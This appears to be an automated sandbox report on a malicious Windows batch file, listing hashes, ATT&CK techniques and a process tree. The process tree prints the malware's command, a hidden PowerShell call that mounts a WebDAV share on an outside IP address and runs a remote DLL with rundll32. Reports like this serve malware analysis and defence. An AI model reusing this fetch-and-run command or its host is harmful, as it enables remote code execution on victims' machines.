e4234be5b3e79fe0f39a7beceebe84acc5ca87ab3499099ddb2fe4b386f5cd8d

Analysis

max time kernel
150s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
14/07/2024, 02:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

17263257632860332454.bat
Size

2KB
MD5

3086b950cedbb150786fd3aaf21c5afd
SHA1

782e981b35c51587c4e5b98584b5f789d3879e0c
SHA256

e4234be5b3e79fe0f39a7beceebe84acc5ca87ab3499099ddb2fe4b386f5cd8d
SHA512

aecc7ef848c7f85c7f67fcf20ad8973a17927c268dfcf347ff2af5cbecd23f20e65f1846b5de4e4c55d78493a1141ded3c79dbd6c042493974cb631362d68030

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1200	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-464762018-485119342-1613148473-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1200	powershell.exe
1200	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1200	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
3648	wordpad.exe
3648	wordpad.exe
3648	wordpad.exe
3648	wordpad.exe
3648	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3652 wrote to memory of 3648	3652	cmd.exe	85
PID 3652 wrote to memory of 3648	3652	cmd.exe	85
PID 3652 wrote to memory of 1200	3652	cmd.exe	87
PID 3652 wrote to memory of 1200	3652	cmd.exe	87
PID 1200 wrote to memory of 3912	1200	powershell.exe	89
PID 1200 wrote to memory of 3912	1200	powershell.exe	89
PID 1200 wrote to memory of 3104	1200	powershell.exe	90
PID 1200 wrote to memory of 3104	1200	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\17263257632860332454.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3652
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:3648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\1645.dll,entry
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1200
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\
    3⤵
    PID:3912
- - C:\Windows\system32\rundll32.exe
    "C:\Windows\system32\rundll32.exe" \\45.9.74.32@8888\davwwwroot\1645.dll,entry
    3⤵
    PID:3104

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:2136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3wbcmh0x.ufh.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1200-6-0x00000275FA1A0000-0x00000275FA1C2000-memory.dmp

Filesize
136KB

Download